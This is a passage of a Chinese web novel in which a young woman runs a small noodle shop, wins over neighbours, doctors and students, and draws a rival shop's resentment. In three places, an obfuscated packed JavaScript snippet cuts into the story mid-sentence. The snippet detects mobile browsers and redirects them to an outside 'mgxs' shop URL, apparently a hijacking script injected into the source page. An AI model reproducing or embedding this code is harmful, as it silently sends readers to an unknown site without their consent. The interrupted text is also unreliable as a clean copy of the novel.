围在店外的人群东一句西一句的小声议论。 赵建军和苏芸看到大伙怀疑的眼神，心里着急，他们知道自家闺女做的卤肉面绝对好吃，可来的街坊邻居们不知道。 赵苏南拍拍母亲的肩膀，示意他们不用着急，站在店门口，笑着说：“各位街坊邻居，我家店的卤肉面绝对是一绝，保管您们吃过了一次，下次还想来，欢迎品尝。” 赵苏南心里一点都不急，只要有一个人尝了她做的卤肉面，等在四周的潜在客户绝对不会犹豫的跟着下单。 现在就看那一位食客先试吃了。 听完赵苏南的话，大家你看看我，我看看你，示意别人先去点一碗，自己不动。 就在众人僵持在一块时，人群后面传来自行车铃声，一个年轻人推着自行车朗声道：“小赵老板，给我来一碗卤肉面。” 来试吃的人来了。 大家伙也不你推我，我推你了，都站在哪等着他吃。 “好，同志你是坐外面吃，还是去屋里吃。”赵苏南笑着问。 小伙子脸色微红，有些不好意思：“在外面吃。” 赵苏南洗干净手，拿起扣在案板上已经揉好的面团，左手抓起一小把面粉，洒在案板上，握住面团，一抻一拉，面团变成了一长条，在案板上轻轻一弹，上面沾染上了干面粉，反复几次，一个面团就成了三两的拉面。 大家伙看着这一手，都觉得没有白在这站这么半天，有懂的道：“老赵闺女这拉面的功夫，没个两三年练不出来。” 赵建军负责烧火，填进两根木头，煮面的那口大锅，里面的水沸腾的开始泛花。 赵苏南把面放里，趁着煮面的功夫，捞出一块卤好的五花肉，放到案板上。 肉接触到案板，左右弹动，热腾腾冒着热气。 赵苏南拿起菜刀，手起刀落，一块肉切成了大小均匀的肉片，整齐排列在案板上，金黄诱人。 这时面也煮的差不多了，舀起一勺面汤，在兑入适量卤汤，捞起拉面放进去，夹起八块卤肉扣到面上，撒上葱花、香菜，一碗鲜香味美的卤肉面就做好了。 端起面碗，放到这位客人面前：“同志，请慢用。” 年轻人低头看着这碗面，可谓是色香味俱全，白色的拉面沁在清亮的卤汤中，上面覆盖的五花肉皮膘肉俱有。 他右手拿筷子挑起一根拉面，劲道爽滑，鲜香美味，再夹起卤肉尝上一口，猪皮软嫩，肉肥而不腻，浓香四溢，有种醇厚的香味，接连三块卤肉下肚，在四周围观的众人等不及了，有认识这年轻人的大声说：“周正，咋吃起来不说话了呢，到底好吃不好吃啊！” 周正下意识转身看了赵苏南一眼，见她正专心拉面，红着的脸稍稍降下去点温度：“好吃，王叔，卤肉好吃，面也劲道，连汤都好喝。” 听了这话，众人连连下单： “我要一碗。” “小赵老板，我也要一碗。” 赵建军烧火，苏芸帮着端面。 “这是小店自己熬的辣椒酱，还有自己做的腌菜。”赵苏南把两个小碟子放在周正桌上：“今天还要谢谢你。” 周正颇有些手足无措，连连道：“赵同志，不用谢。” 赵苏南明白，要是没有周正试吃这一下，围观的食客或许会下单，但也不会这么快，更何况，周正也是家里早餐店的老顾客了，她道：“下次再来，给你打折，慢用。” 周正一碗面吃完，都没敢抬头，结完账，骑着车就回单位了。 他是总院的医生，是外科的住院医。 回到科室换上白大褂，扑通直跳的心脏才恢复正常。 刚坐到座位上，嗅觉灵敏的同事凑过来闻闻：“周正，你去吃什么了，这么香。” 周正推开同事：“就你鼻子好使，我家附近一家面馆，卤肉一绝，可好吃了。” 听到好吃的，科室内被陆主任罚写病例，到现在还没吃饭的几人，捂着咕咕叫的肚子，怨念道：“周正，你自己去吃好吃的，不给我们带就算了，还在这馋我们。” 周正是个老实人，他看着同事们犹豫道：“要不，今晚我请你们去吃面。” 这下几个人不怨念了：“说好了，你请客。” 几个人说的正热闹，没看到陆主任陆淮川走了进来， “病例写完了。” 这一声，把几人吓的一个激灵，急忙拿起笔：“陆主任，我们马上就写完了。” 陆淮川是总院胸外科副主任，手术技术一流，人也长得不错，可就是性格太过严肃冷淡，工作上也一丝不苟，严谨认真。导致科室内的这帮医生怕他怕到不行。 陆淮川见他们全部低头认真写病例了，回到自己座位上开始工作。 周正也怕陆淮川，但还是犹豫着开口：“主任，今晚我请大家到我家附近一家赵记早点铺吃面，您要不要和我们一起去？” 赵记早点铺，听到这个熟悉的名字，陆淮川一下就想到了赵苏南，脸色泛青。 他翻开病例本：“不去。” 周正不明所以，陆主任今天脸色怎么这么冷，是谁手术操作又出问题了，他摸不着头脑。 另一边，赵家小店，一家三口坐在店里数钱。 中午准备的二十碗面全部卖光，五毛一碗，共赚了十元。 “一个中午就赚了这么多，比我和你爸起早买包子馒头赚的还多。”苏芸数着手里的钱，笑着道。 她支持女儿卖面的决定，也担心一旦没有人来吃，家里的钱连给丈夫买药都买不起了。 现在她不担心了。 不过再看到泡好的红薯粉一点都没卖出去，笑容又淡下来了。 “苏苏，这酸辣粉今天一份都没卖出去。” 赵苏南倒是不愁，她做的这酸辣粉，定位的食客不是街坊邻居，而是附近那所中学的学生。 学生们都是走读，晚上放学饿着肚子，有些家长们下班回家晚来不及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276529|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做饭，都会给孩子钱，让他们在学校附近随便吃口，吃完再回家。 而她的酸辣粉就是留住这批食客的第一道美食。 “正好，也让你和我爸尝尝这酸辣粉，给我点建议。”赵苏南挽起袖子，摆上三个海碗，放上一勺调好的辣子，放入蒜蓉、花椒粉、陈醋、盐等。 抓起一把二两红薯粉烫熟，捞起放进碗内，再抓起一大把绿豆芽扔进锅中，煮片刻捞起依次放到粉上，最后加入花生碎、榨菜、香菜，肉末，放入热水，酸酸辣辣的酸辣粉就可以上桌了。 赵建军和苏芸是在南方呆过的，各种粉也吃过，酸辣粉也吃过。 这碗和他们吃过的不一样。 赵建军轻轻搅拌，红油、陈醋弥漫开来，酸酸爽爽的味道就在鼻端。 吃到嘴里，辣椒与花椒的辣与麻相互交错，辣味、麻味相得益彰。 其中的醋更是点睛之笔，完全把其他香料的味道激发出来，酸爽麻辣勾的人一口一口停不下来。 一碗粉吃完，连汤都没剩下，放下碗长出一口气，这感觉舒服的紧。 “苏苏，我和你妈也吃过酸辣粉，都没有你做的好吃。”赵建军夸道 苏芸点头：“只要是吃过你这酸辣粉的，下次保准还来。” 赵苏南笑道：“那是，我这可是大厨的手艺。” 赵建军和苏芸看着女儿毫不谦虚的样，也跟着笑了。 五点，学生放学。 学校门口孩子三三两两打闹朝家走。 个别家长没空做饭的，就去熟悉的面馆、饭馆吃完饭再回去。 “我不想吃面。” “我也不想吃，都吃腻了，要不我们在附近找找，有没有其他的饭馆。” 几个高中生一合计，三人顺着街区开始走。 沿着北街向西，拐过来接着走，就看到了赵家的小店。 三个孩子探头看看店，又看看店挂着的两块木板，卤肉面五毛，酸辣粉四毛。 “这家有卖酸辣粉欸。” “酸辣粉是什么粉？” “我也不知道，应该是粉条吧。” 三个孩子又探头看了看，里面只有两个大人，没有什么酸辣粉摆在在外面。 “要不咱们就吃这个吧。” “没吃过，来都来了，就吃这个。”其中一个小姑娘拍板，率先抬脚向店里走，两个男孩跟在她后面。 “姐姐，我们要三碗酸辣粉。”小姑娘王欣欣礼貌地对赵苏南道。 赵苏南见是三个小顾客进来，安排她们三个坐好道：“稍等，马上就好。” 三个小孩坐在位置上等，就闻到诱人的酸酸辣辣的味道。 两个男孩嘀咕：“这酸辣粉怎么这么香。” 不大会，三碗粉放在三人面前。 三个小孩上了一天的课，饿极了，闻着香味，毫不客气地‘吸溜吸溜’嗦起粉来。 这花生好酥，榨菜好脆，肉末好香，全部都好好吃。 三个小孩吃的抬不起头，赵苏南就站在一旁笑着看她们。 青春真好，回想上一世她在这个年纪，边上学边在饭店打工赚钱，每个月老板给个几百傻呵呵乐到不行。 就在这时，外面传来几个自行车停车声。 赵苏南闻声抬头，周正站在车边朝她腼腆一笑，打招呼：“小赵老板，我带同事来吃卤肉面。” 5. 第 5 章 中午的时候说了要请同事吃卤肉面，但只有三个人有时间过来。 下午陆主任临时给他们布置了任务，下班的时间比平时晚了半小时。 周正带着同事们紧赶慢赶，生怕店里已经关门了。 赵苏南看着周正抱歉道：“不好意思，今天的卤肉面卖完了，只有酸辣粉了。” 只有酸辣粉了，周正转身对着身后三人商量道：“老板说卤肉面卖完了，要不我请你们吃酸辣粉！” 站在周正身后的瘦长脸的男人，连连点头：“就吃酸辣粉。” 他站在门口早就闻到了一股酸酸辣辣的味道，他是山城人，最爱的就是这一口酸辣味。 其他两人也没有意见。 周正对赵苏南道：“小赵老板，我们就要四份酸辣粉。” 赵苏南招呼他们四个到店里坐下，到灶边开始煮面。 瘦长脸进到店里就看到埋头嗦粉的三个小孩，酸酸辣辣的味道就是从她们三个的碗里传出来的。 看那碗里粉的卖相，不由地对这一碗酸辣粉充满了期待。 他们全家搬到燕都后，很少会回到山城，也很难吃到正宗的山城美食。 今天想吃卤肉面没有吃到，反倒意外吃上了山城酸辣粉。 赵苏南煮面的速度很快，四人没等太久，酸辣粉就上桌了。 眼看着眼前这色香味俱全的酸辣粉，四人拿起筷子吃了起来。 瘦长脸吃了一口，立马吃出来这味道就是他记忆中那碗山城酸辣粉。 醋香，辣椒香，红薯粉软耙。 太好吃了。 赵苏南又切了一份卤肉，装上一小碟辣椒酱，端到周正那桌：“卤肉面没有了，卤肉倒还有一些，本店赠送的，不算钱。”又指着那辣椒酱：“自己家熬的辣椒酱，慢用。” 周正连连摆手：“我们不能白要这卤肉，多少钱是要给的。” 小赵老板做生意不容易，怎么能白要她的东西。 赵苏南笑着道：“没事，吃好了，下次再来。” 老顾客带着朋友来给她捧场，赠送点东西，是对老顾客的感谢。 多来吃几次饭，这么点卤肉的钱也就赚回来了。 他们这一桌在吃，三个小顾客那桌已经吃完了，干干净净的三个空碗，连一点汤都没有剩下。 王欣欣摸着肚子，还有些意犹未尽：“酸辣粉好吃，明天放学咱们还来这吃。” 坐对面的两个男孩一起点头，表示赞同。 三人付过钱，溜溜达达回家去了。 店里四个大人嗦粉嗦的正起劲，能吃辣的瘦长脸，把小碟子里一半的辣酱都倒进了碗里。 这辣酱吃起来，咸鲜香辣，配米饭、面条、馒头正是最好的下饭酱料啊。 当然配这酸辣粉也相当美味。 卤肉也好吃，肥而不腻，不比大饭店的卤肉差。 四人风残云卷，盘子、碗里空空荡荡。 吃完了，瘦长脸想着给他家人也带一份回去，扬声道：“老板，这酸辣粉能带走回去吃么？” 打包带走，赵苏南想了想，打熟包肯定不行。 现在的打包，没有塑料袋类的东西可用，带汤类的都是自己自带瓷缸、瓷碗打完带回去吃；包子馒头类的都用油纸、蜡纸包好，再系上绳子。 “熟包打不了，生包可以打。”赵苏南道。 打生包，瘦长脸犹豫了，打包回去煮了，还能有在店里的好吃么？ 赵苏南也看出来顾客犹豫，她道：“我把调料都调好，回去之后把粉煮熟就可以了，口感上不会差太多。” 瘦长脸觉得这样不错，熟的粉带回去都坨了，生的带回去煮正好。 “行，我装上四份带走。” 赵苏南装上四份酸辣粉，调味料用店里的瓷缸子装好，缸口用油纸细密封好，绑上一圈细绳方便拿。 全部装好，把生包递给瘦长脸：“看您爱吃辣，多装一份辣酱，这瓷缸子您明天有时间再给我还回来就行了。” 瘦长脸从来没在哪家饭馆得到过这样的服务。 这年头的饭馆，还有没有服务意识这一说，国营饭店大家都拿着死工资，来多少客人她们也都拿那些钱，态度自然好不到哪去。 个人的饭馆也只讲究做好饭，态度上比国营饭店好点，但也就那样。 他拎着打包好的东西：“老板放心，这瓷缸子明天保管给您原模原样送回来。” 一行人算完帐，赵苏南给他们打了八折：“中午周同志帮了我一个大忙，说好打八折。”她把多余的钱退给周正，“这次吃好了，下次再来。” 周正拿着退回来的钱，认真点头：“一定再来。” 店里的人都走了，下午五点半也不会再有人来吃饭了，收拾收拾店里的东西，关门回家。 晚上一家人坐在一起围在餐桌吃晚饭，主菜是赵苏南做的卤肉。 大舅苏强送来的猪肉足有六斤，现在天气热，没有保鲜柜，没有冰箱，卤熟的肉放不了多久，店里卖不完的，自己家留下一点吃，剩下的赵苏南让她爸拿给她大舅，带回去吃。 “爸，今天我大舅送来的肉不给钱就算了，明天照着市场价，该是多少就多少，不能白占我大舅的便宜。”赵苏南道。 赵建军点头：“是，爸知道。” 苏芸没想到女儿能这么想，真是长大了。 吃着饭，说着话，苏芸提起对门的陆淮川：“这都一个星期没见陆主任回来了吧。” 突然提道陆淮川，赵苏南一口饭堵在嗓子，差点没噎住。 那天把人气的脸色铁青，摔门离开，这些天两人再都没有见过面。 她只想和爸妈在一起，赚点小钱，过好自己的日子，半点都不想和陆淮川扯上瓜葛。 不见面才是最好的，见了面反倒不知道该怎么办。 她一个母单二十五年的选手，压根处理不明白男女关系。 想到就觉得头疼。 “可能是单位忙吧。”赵建军道。 苏芸点头，念叨道：“想着闺女做的卤肉不错，陆主任回来了拿一些给陆首长带回去尝尝。” 这些年陆首长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276530|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没少帮她们家，赵建军和苏芸都感激的很，送的东西虽然不值什么钱，但也是他们的一份心意。 赵苏南赶快转换话题：“爸妈，店里的客人一天比一天多，咱家的桌椅都不够用，得打一些桌椅备着。” “你二叔就是木匠的，爸去问问你二叔，看他有空就让他给你打几张。”赵建军道。 “那抽个时间，一起去我二叔家吧，也好久没去看我奶了。”赵苏南想了想道。 做桌子是她临时想到的，现在客人没有那么多，店里的桌椅都够用，不过自从奶奶生病以来，赵苏南一次没有去看过呢，是该去看看。 “行，抽个空，咱们一家人一起去，你奶奶一直念着你，你去了，她准高兴。”苏芸道。 “那就下周一，下周一咱家关店休息一天。”赵苏南道。 这一周七天不能总是工作，赚钱是要紧，要是一直这么干，身体和精神先吃不消，得有个休息的时间好好歇一歇。 “以后每周一都闭店休息一天，每月休息四天。” 苏芸有些不赞同，现在这一天能赚十多块，闭店休息，就少赚十多块：“关店一天就少一天生意，妈和你爸不累，不用休息。” 赵苏南笑着道：“妈，明天我准备五十碗面的量，酸辣粉也准备二十碗，以后每天增加数量，尤其是星期天，那天大家休息，来店里的顾客只会更多。你和我爸早上还要起早卖早点，白天还要帮着我卖面，长久不休息，身体会累坏，那不就得不偿失了。” 苏芸知道女儿心疼她们俩，也不再说什么：“好好好，都依你。” 另一边，大院家属楼，瘦长脸张广提着酸辣粉回到家。 家里爷爷坐在沙发看电视，听见开门动静，就看到自己孙子回来了，手里还提着东西。 好奇道：“这是什么，单位发的？” 张广把东西放到厨房，“今天和同事一起吃饭，店里卖酸辣粉，我吃过味道是正宗山城味，让老板给我打包了带回来，给您和我爸妈都尝一尝。” 这会功夫，张广的父母也回来了，看见他们爷孙俩道：“今天单位忙，下班回家晚了点，还没吃饭吧，我去做。” 张广站在厨房道：“爸妈，我买了酸辣粉，一煮就好，不用做饭。” 张老爷子好多年没吃这个东西了，站起身也到厨房去瞧。 张广拿出四个大碗，把瓷缸上的纸揭下来，辣椒和陈醋的味道挥发出来，张老爷子一闻到这个味：“是这个味，是山城的味道。” 张广的父母也闻到了，离家久了，再闻到这家乡的味道，还真是想念呢。 他把瓷缸子里的料均匀分成四个等份放到碗里，起锅烧水，水开放入红薯粉，熟透捞起放进碗中，加入煮粉的水，一碗酸辣粉就做好了。 粉端上桌，张老爷子迫不及待先吃了一口，粉条软弹，酸辣开胃，就是山城的味道，老爷子一口气吃完，意犹未尽，他问自己孙子：“这家店在那个位置？” 张广道：“在燕大附中附近，赵记早点铺。” 老爷子预备明天就去店里。 6. 第 6 章 第二天赵苏南一家三口三点半到店。 三个人分工明确，赵父磨豆浆，苏母揉面，赵苏南切菜和馅。 赵父磨好豆浆，收拾妥当，生火点上煤炉，两口大锅添上水，一锅煮豆浆，一锅蒸上馒头包子。 这些粗活，只要赵父在，不会让妻子女儿沾手。 豆浆下了锅，包子进了笼屉，差不多五点钟，天也有了亮。 赵苏南打算自己骑车去大舅苏强那去取预留好的五花肉。 赵建军没让：“爸去取，你和你妈在店里。” 现在这个时节虽然太平了，没了土匪烧杀抢掠，可随着知青返城，大量无业人员聚堆拉伙，拐卖妇女儿童的也不是什么稀罕事。 他闺女长得又俊，又手无缚鸡之力的，让她一个人来回市场那鱼龙混杂的地，赵建军一点都不放心。 说罢，骑上车，拎着昨天做好的卤肉往菜市场去了。 现在这会时间还早，吃早饭的客人都还没有上门，赵苏南把今天需要的配菜备出来。 香菜、葱花切碎，大块榨菜切丝，辣椒油炸好，花生米炒熟碾碎，肉末得等她爸把肉取回来再备。 忙忙活活一早上，等到赵父提着肉切着车回来，差不多六点，来买早餐的顾客开始陆陆续续上门了。 赵苏南已经跟着父母买了好几天的早餐，知道自己家的早餐店客流量只能算是中规中矩。 他们家的店铺位置在西街靠里侧中间位置。 这一条十字街算上他们家共有三家早点铺，两家面馆，三家饭店。 经常来这十字街吃饭的，都是这一片家属院、大院的职工、学校的学生。 她们家店里卖的早点种类较少，那两家卖的种类比她们家多，自然客流量大，赚的也多。 赵苏南家店现在每日能卖出三十多块钱，去除成本，利润能有十五、六块。 要知道，工厂里的一名普通员工一个月也只四、五十块的工资。 她爸妈一个月能赚到四百五十多块，这一个月赚的比得上一位职工九、十个月赚的工资总和。 不过这买早餐赚的虽然看着不少，其中的幸苦可也不是谁都能吃的。 光是每天三点多起床，一年三百六十五天如一日，就能累到一大批人。 还要揉面、切菜、和馅，这些都是既琐碎又耗费体力的活。 人都有惰性，可以坚持一天、一个月、一年，做不到年年如此。 赵苏南一边算账上餐，一边想着早餐店的事。 她眼神看向父母，两人的穿着的衣服只能说是干净整洁，是好几年前的款式了。 两人赚的钱不少，可大多都给了赵苏南。 赵苏南追求时髦，不是最新款的衣服不穿，不是最新出的鞋子不要，吃的也要好的，给她的钱，转手就花的一干二净。 这么多年父母两个赚了不少的钱，却没有攒下来多少。 所以才导致给奶奶看完病，家里没钱交房租，连父亲买药的钱也没了。 “小赵老板，三个猪肉白菜包子，两个糖三角，装好带走。” 赵苏南回过神，把包子、糖三角装好，递给顾客。 她轻叹口气，现在她只有经营好自家小店，打出口碑来，才能赚到更多的钱。 到时候父母也就不用这么幸苦的出来卖早餐了。 早餐时间一过，八点左右没什么人了。 一家三口匆匆吃过几口饭，又接着开始忙碌起来。 煤炉重新添上火，卤肉的大铁锅摆上。 赵苏南端出盛着卤汤的大坛子，将其倒进大铁锅中。 苏芸正在一旁看着，赵苏南笑着问她妈：“妈，想不想学卤肉？” “我，我能学么？”苏芸有些犹豫，她昨天可看见女儿怎么侍候这一锅卤汤的，那一手可都是精细活，她能行么？ 赵苏南道：“这很简单的，我教你就能会。”她指着这卤汤：“这卤汤要想保存好，每次用完，把其中的杂质过滤掉，再烧开晾凉，最后放到无油无盐无杂质的容器里，冷藏放好。 一锅好卤汤是卤肉的关键，通常要煮三个月才能达到平衡，这三个月就叫养卤期。” 赵苏南边说，边将清水混入其中：“每次用时，兑入清水，烧开后再加入卤肉、卤猪蹄等等，小火慢炖。” 苏芸脑子聪明，动手能力极强，看着女儿的操作，再听着女儿的教学，上手几次，就能懂个七七八八了。 “好，等妈学会，卤肉这活就交给妈。”苏芸道。 赵苏南把处理干净的五花肉放到卤汤中，慢慢炖煮：“等妈你学会了，咱家不做早餐了，你喝我爸专卖卤肉。” 她手指着自家的招牌：“等下周去找二叔，让他给咱家重新做个招牌，就叫赵苏记。” 赵建军笑了：“这名字好，就叫赵苏记。” 苏芸白了他们父女一眼：“八字还没一撇呢，改什么招牌。”虽是这么说着，嘴角却翘的高高的。 自己女儿有出息，志向高，她这做妈的心里骄傲又高兴。 十点多，熟悉的卤肉香霸道占领了周围家属院。 闻着味的众人来到店里，坐下点餐： “老板，我要一碗卤肉面。” “老板，我也要一碗。” “这卤肉香味太香了，比我在荣丰斋闻到的卤肉味还要香。” “不止比荣丰斋的卤肉香，这肉还比荣丰斋卤的好吃呢。”昨天吃过卤肉面的食客道。 这么会功夫，不大的小店里坐满了人。 赵苏南忙着拉面切肉，苏芸端碗上菜，赵建军洗碗、擦桌子。 苏芸上菜时，端上一碟腌菜送给顾客，还指着桌上瓷缸里红彤彤的辣酱道：“这是自家腌的萝卜丁、油泼黄瓜，桌上的是自家做的辣酱。” 张老爷子拎着瓷缸，骑着自行车找过来时，一打眼就看到一堆人聚在一起吃面。 骑到跟前，望着他们的面碗，见他们都是吃的卤肉拉面，犹豫着问道：“您好同志，店里卖酸辣粉么？” 赵苏南闻声回头，见是一位穿着靛蓝色上衣，大概六十五左右的老人，她笑着道：“有酸辣粉，屋里没有座位了，您坐在外面的位置可以么？” “可以。”张老爷子把自行车停好，自顾自找了个凳子坐下来等，苏芸先上一碟小菜：“您稍等，酸辣粉马上就好。” 张老爷子礼貌点头：“好。” 赵苏南的速度快，一碗粉马上做好，上桌。 “老先生，一碗酸辣粉，您慢用。”赵苏南道。 张老爷子拦住赵苏南没有让她走，看着她和蔼地问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276531|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“小姑娘，你去过山城？” 赵苏南摇了摇头：“没去过。” 张老爷子指着这一碗酸辣粉，感慨道：“这酸辣粉是我们山城的一道小吃，小姑娘你做出来的这一份粉，和我小时候在山城吃的味道一样，不知道能不能见一见教你这道粉的人？” 赵苏南抱歉道：“老先生，教我这道粉的老师傅已经去世许久了。” 张老爷子闻言一怔，叹了口气：“小姑娘，不好意思，是我唐突了。” 他本来以为来这能见到家乡来人，没想到人已经故去了。 赵苏南摇摇头表示没事。 张老爷子把桌上的瓷缸子递给赵苏南：“昨天我孙子在店里借走的瓷缸，让我今天带着还过来。” 赵苏南了然，昨天那瘦长脸是这位老爷子的孙子，细看起来，爷孙俩的脸型是很像的。 她接过瓷缸子，道：“不打扰您用餐，慢用。” 张老爷子闻着这酸辣开胃的香气，心道：“虽然遗憾没有见到故乡人，可能吃到家乡粉，也不虚此行了。” 这酸辣粉在店里吃，比起昨天在家里吃的还要好吃。 粉条上挂着焦香的肉末、细小的蒜末，吃到嘴里口感丰富，酸辣香共存。 张老爷子犹觉得不够辣，添了两勺辣酱放了进去。 旁边等待的食客，都看见张老爷子嗦粉嗦的香，再闻到酸酸辣辣的味，喉咙滚动，说到： “老板，那位大爷吃的是什么粉，给我也来一份。” “我不要卤肉面了，我也要一份那个粉。” 赵苏南看了他们指的老爷子一眼，“那是酸辣粉，山城特色小吃，各位坐下稍等，我去给各位煮。” 张老爷子许久不吃家乡美食，一碗二两粉吃完，觉得没有吃饱，端起碗走过来：“老板，再给我加二两粉。” 赵苏南应声道：“老爷子您稍等。” 张老爷子在后面排队，鼻子又闻到了另一种香味，看过去，是一口咕嘟咕嘟冒泡的铁锅，里面是正卤着的卤肉。 张老爷子闻着这霸道的卤肉香：“老板，这卤肉多少钱一斤？” 赵苏南没想到老爷子想要买卤肉，她道：“单要一份，两毛一份，一份八片。” 她这卤肉的分量是根据拉面来的，五十碗面配五十碗面的卤肉。 余出来的不多。 张老爷子不差钱，当即点了一份：“给我来一份。” 店里听到张老爷子点的，也跟着到： “老板，我也要一份。” “给我也来一份。” 赵苏南赶紧开口制止：“各位，不好意思，只能余八份出来，卤肉数量有限，各位想吃，改天再来。” 听了赵苏南这话，点到的洋洋得意，没有点到的唉声叹气。 张老爷子端着自己后加的一碗粉搭配着卤肉，吃了个尽兴。 最后抱着吃撑了的肚子推着自行车慢慢走着回家了。 忙了一中午的一家三口终于可以喘口气了。 赵苏南揉着拉了一天面的胳膊，酸疼。 忙活了一天的苏芸一点都不累，她没有想到女儿准备的五十碗面都卖出去了，二十碗酸辣粉也没有剩下。 要是明天还能买的像今天这么多，她闺女一个月得赚多少钱啊！ 7. 第 7 章 苏芸心里高兴。 之前女儿一直没有事情做，和几个比她年纪大的女孩们整天在一起玩。 女儿年纪小，单纯没有心眼，她整日担心女儿被骗。 她和丈夫没有多大的本事，只能把自己有的都给女儿。 不求她多有出息，只愿她平平安安就好。 当初女儿说要做生意卖面，他们夫妻俩都支持。 也不求能赚到什么钱。 只要她有个安稳的正经事做就好。 但没有想到女儿说卖面，还真做成功了。 这才第二天，就卖出去五十碗面。 虽说不期盼女儿能做什么大事情。 但女儿这么有出息，当妈的心里也骄傲。 赵建军也高兴。 他一贯是宠女儿的。 在他看来女儿能赚钱是女儿有本事。 其他家的小子、闺女，哪个能有他家的闺女能赚钱。 在他眼里，女儿赚钱这件事就是理所当然的。 赵苏南把今天收来的一堆毛票放在桌子上数。 四毛、五毛的加起来一共是三十三元。 加上昨天赚来的十三块七毛六，一共收入四十七块七毛六。 去除今天和昨天买食材的钱十二块，还剩余三十五块七毛六。 其他面、油、调料等这些开支，等到月底了统一结算。 握着手里的这把钱。 赵苏南心里稍稍有了些底气，有了些微的安全感。 现在店的口碑立住了，吸引到了图新鲜来品尝卤肉面和酸辣粉的客人。 但是新鲜感是一时的。 这股新鲜劲过了，客人势必会减少。 毕竟店里的品类太少。 单吃这两样面，再好吃也会吃腻。 她现在要想的是怎么把顾客留住。 那就要上新菜。 不过，她家的小店面积实在狭小。 上新菜客人只会更多。 她家这间小店消化不了这么多的客人。 赵苏南看上了她家隔壁那间店铺。 面积足够大，足有九十平方。 但租赁的价格也不便宜，八十块钱一个月。 现在个体经济刚刚开放没多久。 大家都不敢冒险，除了个别实力过硬的，开饭店的大多租个面积适中，租金不高，位置不错的店铺。 她家旁边的商铺位置不好，太靠里，偏僻，不好招揽顾客，租金价格又高，一直处于空置落灰状态。 却正适合她眼下的需求。 跟她家现在的小店相邻，这边卖卤肉，她那边卖面以及各种炒菜。 正正好相互帮得上忙。 赵苏南准备下月来收租时，把隔壁租下来。 赵苏南把钱收起来，起身去做面，忙了一中午，闲下来肚子开始咕咕叫了：“爸、妈，我去煮面，昨天尝过了我做的酸辣粉，今天再尝尝我做的卤肉面。” “好。”苏芸道，赵建军去帮忙烧火。 很快，三碗热腾腾的面就做好了，三口人坐在一起吃面，忙活的时候不觉的饿，这会面上桌，才觉出胃部空空，饿的不行。 赵苏南端了一小碗腌菜出来：“这腌菜腌的时间还是有些短，味道没有浸透。” 苏芸夹起一片萝卜片吃了一口，没尝出来哪里不好来：“这萝卜又脆，咸辣正好，配粥和面条都合适，好吃。” 赵建军则是夹起一片腌的油泼黄瓜吃起来：“黄瓜也不错，脆嫩好吃。” 赵苏南自己两样都尝了几口，还是觉得还得再腌上一个星期。 中午一家人吃的满足，赵苏南没有休息，去了厨房开始忙活开了。 今天的客人多，早晨准备好的配菜，中午都用光了。 预计晚上来吃酸辣粉的小客人不会少。 粉要泡上，花生也要炒。 晚上学校放学，一小群学生从学校里出来，风一般路过北街，朝着西街赵家去了。 北街，李记面馆的老板娘孙燕，眼瞧着一群孩子从她家门前跑过去，就朝着西边去了。 其中有几个小孩，她看着很是眼熟。 都是经常在她店里吃面的。 孙燕眼珠一转，也跟在这群孩子身后，也朝着西街去了。 这一去就看到这群小孩全部都进了赵家的小店里了。 撇着嘴往回走，又碰到两帮往这边来的学生。 回到店里，看见屋里吃面的人，比昨天少了一小半。 可是气的不轻。 到后厨对着她丈夫李明，就是一通酸言酸语：“那老赵家那二十平小破店，还改做什么面馆，来了人都没地坐吧。”翻了白眼，接着说：“这做面的师傅还就是个十九岁的黄毛丫头，会做两个花样就顶了天了，还敢卖五毛一碗，这帮人也就图个新鲜，等这波风过去，有她好哭的。” 李明也跟着点头：“可不是，新鲜劲过了，不还是得到我这来吃。” 他这一手做面的功夫，可是家里祖传的，到他这辈都传了三辈了，做的全都是老燕都特色面。 北街除了哪家清真牛肉面馆，根本没有人敢在十字街这再开面馆。 他倒要看看这老赵家小黄毛丫头能卖的几时去。 赵苏南预料到晚上来吃酸辣粉的小客人会不少，也没有想到这么多。 第一批进来的王欣欣第一个点单：“姐姐，我要一份酸辣粉，这些都是我的同学，听我这里的酸辣粉好吃，就都跟着我来吃了。 赵苏南笑着道：“谢谢小同志帮我宣传，今天这顿粉给你打五折。” 王欣欣不好意思又兴奋，漂亮姐姐叫我小同志欸，她还给我打折，等去学校明天一定给漂亮姐姐多多宣传，这么好吃的酸辣粉，她不允许还有人没吃过。 苏芸招呼着这群小客人坐好，把她们当成大人一样对待，也给她们每人端上一碟腌菜，指着坐上的辣酱细心告诉她们：“这瓷缸是辣酱，里面有勺子，有些辣，能吃辣的自己舀，没了阿姨给你们添。” 小客人们都认真点头。 